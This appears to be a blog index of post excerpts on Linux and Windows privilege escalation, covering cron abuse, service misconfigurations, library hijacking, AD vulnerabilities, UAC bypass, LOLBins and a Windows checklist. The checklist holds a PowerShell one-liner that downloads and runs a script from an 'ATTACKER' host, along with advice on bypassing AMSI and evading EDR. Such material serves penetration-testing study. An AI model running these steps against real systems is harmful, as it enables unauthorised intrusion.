Posts on: Privilege-Escalation

---

Scheduled and supervised execution is the most consistent privilege-escalation surface on Linux. Root runs something on a timer, on boot, on log rotation, or on a process event — and if you can influence what it runs, where it runs it, or how it resolves it, you inherit root. This file covers every scheduler you will encounter: cron, anacron, at, systemd timers and units, transient systemd-run jobs, and logrotate. 1. Cron Job Abuse Scheduled jobs, typically used for administrative tasks — backups, cleanup, reporting. The crontab command creates a cron file that the cron daemon runs on the specified schedule.

Windows services are the highest-yield privilege escalation surface on the platform because they run as LocalSystem while referencing four separate objects that a low-privileged user may be able to influence: Attack surface You control Exploitation Primary check Service binary The .exe on disk Replace the file, restart the service icacls on the binary Loaded DLL A DLL path the service searches Plant a DLL with the expected name Procmon NAME NOT FOUND Service DACL The service object sc config binPath=, restart accesschk -uwcqv Service registry key ImagePath / ServiceDll Edit the value, restart accesschk -kvuqsw Key distinction: A writable binary is a file-system problem. A modifiable service DACL is a service-object problem — you do not need write access to the binary’s directory. A writable registry key is a third, separate problem. Enumerate all four.

Techniques in this file do not fit neatly into SUID, sudo, or cron. They are grouped by what you control — a library path, an export, a socket, an environment variable, or a file permission — because that is how you will find them during enumeration. 1. Shared Object Hijacking — RUNPATH / RPATH / $ORIGIN A binary that uses a custom library can be enumerated with: ldd /path/to/program readelf -d /path/to/program | grep -E 'RPATH|RUNPATH|NEEDED' RUNPATH and RPATH are baked into the binary and are searched before the default library paths. Unlike LD_LIBRARY_PATH, they are honoured for SUID binaries, which is what makes a writable RUNPATH directory a reliable escalation.

The three vulnerabilities below — NoPac, PrintNightmare, and PetitPotam — are still worth knowing, but their role has shifted. On a fully patched 2025–2026 domain, all three are usually closed. What remains is the attack primitive each one demonstrated, and that primitive is now delivered through modern tooling: NetExec modules for NoPac, detection-resistant coercion for PetitPotam, and the coercion → NTLM relay → ADCS/RBCD chain that survives patch cycles because it abuses configuration, not a missing update.

UAC bypasses leverage flaws or unintended functionality in different Windows builds. The following repository contains many different UAC bypassing techniques: UACME — currently lists 81 separate techniques. ⚠️ Critical: UAC bypass is not privilege escalation from a standard user. It only converts a filtered Administrator token (medium integrity) into a full Administrator token (high integrity). You must already be a member of the local Administrators group (and, for some methods, already have an elevated process). A standard user cannot UAC-bypass their way to administrator.

Working document — tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Work top-down: configuration and credential wins are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel — verify the version against the current NVD before committing to a CVE-specific path. The behavioural checks below are valid regardless. Target context — fill before starting:

LOLBins and LOLBAS are signed, Microsoft-shipped binaries already present on a default Windows install. They exist so nothing unsigned touches disk — the ideal primitive when application control blocks your tooling. But the binaries are trusted while the behaviour is not: EDR heavily monitors certutil, bitsadmin, mshta, regsvr32, and PowerShell reaching out to the internet. Prefer an internal staging host, a non-standard filename, and cleanup. 0. What Changed in 2025–2026 Two platform changes alter which LOLBins you can rely on:

Working document — tick as you go. Commands are abbreviated; full detail is in the matching section of the notes. Stop at the first successful path. Token privileges and service misconfigurations are faster and safer than kernel exploits. Kernel exploits last. CVE numbers are hints, not gospel — verify the version against the current NVD before committing to a CVE-specific path. Target context — fill before starting: Field Value Hostname OS / build (systeminfo) Architecture Current user / groups (whoami /all) Integrity level (Medium / High) Token privileges (whoami /priv) Domain-joined? AV / EDR present? WMIC available? (24H2+ removes it) Notes Phase 0 — Orient (60 seconds) whoami /all — user, groups, SID, integrity level whoami /priv — the single highest-value command; an enabled SeImpersonate, SeBackup, or SeDebug is often an instant win[reference:1] whoami /groups | findstr /i "Mandatory" — Medium + Administrators = UAC is the only barrier hostname; systeminfo — OS build, patches, hotfixes net config workstation — domain membership ipconfig /all; route print; arp -a — network position echo %USERNAME% — confirm the current context Record findings above, then proceed Phase 1 — Automated Triage (run once, verify by hand) winPEASx64.exe quiet — broad enumeration; focus on red + yellow findings powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1'); Invoke-AllChecks"[reference:2] SharpUp.exe audit — C# equivalent; separates service binary and service DACL findings Seatbelt.exe -group=all — host survey Verify every hit by hand — automated tools produce false positives AMSI note: if PowerShell-based tools are blocked, bypass AMSI first or use the C#/binary alternatives (SharpUp, Seatbelt, WinPEAS).